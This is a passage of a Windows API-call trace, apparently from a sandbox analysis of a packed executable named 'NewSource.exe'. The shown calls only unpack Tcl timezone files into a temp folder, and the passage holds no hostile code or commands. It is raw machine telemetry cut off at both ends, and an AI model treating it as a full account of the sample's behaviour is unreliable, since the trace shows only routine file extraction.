dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.537] GetLastError () returned 0x2 [0038.537] SetLastError (dwErrCode=0x2) [0038.537] GetLastError () returned 0x2 [0038.537] SetLastError (dwErrCode=0x2) [0038.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia", lpFilePart=0x0) returned 0x45 [0038.537] GetLastError () returned 0x2 [0038.537] SetLastError (dwErrCode=0x2) [0038.537] GetLastError () returned 0x2 [0038.537] SetLastError (dwErrCode=0x2) [0038.537] GetLastError () returned 0x2 [0038.537] SetLastError (dwErrCode=0x2) [0038.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia") returned 70 [0038.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\bahia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.539] GetFileType (hFile=0x10c) returned 0x1 [0038.539] htonl (hostlong=0xb6070000) returned 0x7b6 [0038.539] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.539] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7b6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7b6, lpOverlapped=0x0) returned 1 [0038.540] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.540] CloseHandle (hObject=0x10c) returned 1 [0038.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.541] htonl (hostlong=0x30000000) returned 0x30 [0038.541] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.541] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.541] GetFileType (hFile=0x10c) returned 0x1 [0038.541] htonl (hostlong=0xfa35800) returned 0x58a30f [0038.541] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d530f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.541] htonl (hostlong=0x46050000) returned 0x546 [0038.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x546) returned 0x550600 [0038.541] htonl (hostlong=0x46050000) returned 0x546 [0038.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.542] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.542] htonl (hostlong=0xe1190000) returned 0x19e1 [0038.542] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19e1) returned 0x561090 [0038.542] htonl (hostlong=0x46050000) returned 0x546 [0038.542] htonl (hostlong=0xe1190000) returned 0x19e1 [0038.542] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a80 [0038.542] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a80 | out: hHeap=0x530000) returned 1 [0038.542] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.542] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.542] CloseHandle (hObject=0x10c) returned 1 [0038.542] GetLastError () returned 0x0 [0038.542] SetLastError (dwErrCode=0x0) [0038.542] GetLastError () returned 0x0 [0038.542] SetLastError (dwErrCode=0x0) [0038.542] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.542] GetFileType (hFile=0x10c) returned 0x1 [0038.542] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.542] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.542] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.542] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.543] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.543] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.543] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.543] CloseHandle (hObject=0x10c) returned 1 [0038.543] GetLastError () returned 0x0 [0038.543] SetLastError (dwErrCode=0x0) [0038.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.543] GetFileType (hFile=0x10c) returned 0x1 [0038.543] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.543] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.543] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.543] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.543] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.543] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.543] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.543] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.543] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.543] CloseHandle (hObject=0x10c) returned 1 [0038.543] GetLastError () returned 0x0 [0038.543] SetLastError (dwErrCode=0x0) [0038.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.544] GetFileType (hFile=0x10c) returned 0x1 [0038.544] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.544] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.544] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.544] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.544] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.544] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.544] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.544] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.544] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.544] CloseHandle (hObject=0x10c) returned 1 [0038.544] GetLastError () returned 0x0 [0038.544] SetLastError (dwErrCode=0x0) [0038.544] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia_Banderas") returned 79 [0038.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia_Banderas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\bahia_banderas"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.544] GetLastError () returned 0x2 [0038.544] SetLastError (dwErrCode=0x2) [0038.544] GetLastError () returned 0x2 [0038.544] SetLastError (dwErrCode=0x2) [0038.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia_Banderas", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia_Banderas", lpFilePart=0x0) returned 0x4e [0038.544] GetLastError () returned 0x2 [0038.544] SetLastError (dwErrCode=0x2) [0038.544] GetLastError () returned 0x2 [0038.544] SetLastError (dwErrCode=0x2) [0038.544] GetLastError () returned 0x2 [0038.544] SetLastError (dwErrCode=0x2) [0038.544] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia_Banderas") returned 79 [0038.545] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia_Banderas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\bahia_banderas"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.545] GetFileType (hFile=0x10c) returned 0x1 [0038.545] htonl (hostlong=0xe1190000) returned 0x19e1 [0038.545] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.546] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9e1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9e1, lpOverlapped=0x0) returned 1 [0038.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.546] CloseHandle (hObject=0x10c) returned 1 [0038.547] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.548] htonl (hostlong=0x40000000) returned 0x40 [0038.548] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.548] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.548] GetFileType (hFile=0x10c) returned 0x1 [0038.548] htonl (hostlong=0x55a85800) returned 0x58a855 [0038.548] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5855, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.548] htonl (hostlong=0xd3000000) returned 0xd3 [0038.548] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd3) returned 0x550600 [0038.548] htonl (hostlong=0xd3000000) returned 0xd3 [0038.548] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.549] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.549] htonl (hostlong=0x9d010000) returned 0x19d [0038.549] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19d) returned 0x5506e0 [0038.549] htonl (hostlong=0xd3000000) returned 0xd3 [0038.549] htonl (hostlong=0x9d010000) returned 0x19d [0038.549] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.549] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.549] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.549] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.549] CloseHandle (hObject=0x10c) returned 1 [0038.550] GetLastError () returned 0x0 [0038.550] SetLastError (dwErrCode=0x0) [0038.550] GetLastError () returned 0x0 [0038.550] SetLastError (dwErrCode=0x0) [0038.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.550] GetFileType (hFile=0x10c) returned 0x1 [0038.550] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.550] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.550] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.550] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.550] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.550] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.550] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.550] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.550] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.550] CloseHandle (hObject=0x10c) returned 1 [0038.550] GetLastError () returned 0x0 [0038.550] SetLastError (dwErrCode=0x0) [0038.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.550] GetFileType (hFile=0x10c) returned 0x1 [0038.550] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.551] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.551] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.551] CloseHandle (hObject=0x10c) returned 1 [0038.551] GetLastError () returned 0x0 [0038.551] SetLastError (dwErrCode=0x0) [0038.551] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.551] GetFileType (hFile=0x10c) returned 0x1 [0038.551] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.551] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.551] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.551] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.551] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.551] CloseHandle (hObject=0x10c) returned 1 [0038.552] GetLastError () returned 0x0 [0038.552] SetLastError (dwErrCode=0x0) [0038.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Barbados") returned 73 [0038.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Barbados" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\barbados"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.552] GetLastError () returned 0x2 [0038.552] SetLastError (dwErrCode=0x2) [0038.552] GetLastError () returned 0x2 [0038.552] SetLastError (dwErrCode=0x2) [0038.552] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Barbados", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Barbados", lpFilePart=0x0) returned 0x48 [0038.552] GetLastError () returned 0x2 [0038.552] SetLastError (dwErrCode=0x2) [0038.552] GetLastError () returned 0x2 [0038.552] SetLastError (dwErrCode=0x2) [0038.552] GetLastError () returned 0x2 [0038.552] SetLastError (dwErrCode=0x2) [0038.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Barbados") returned 73 [0038.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 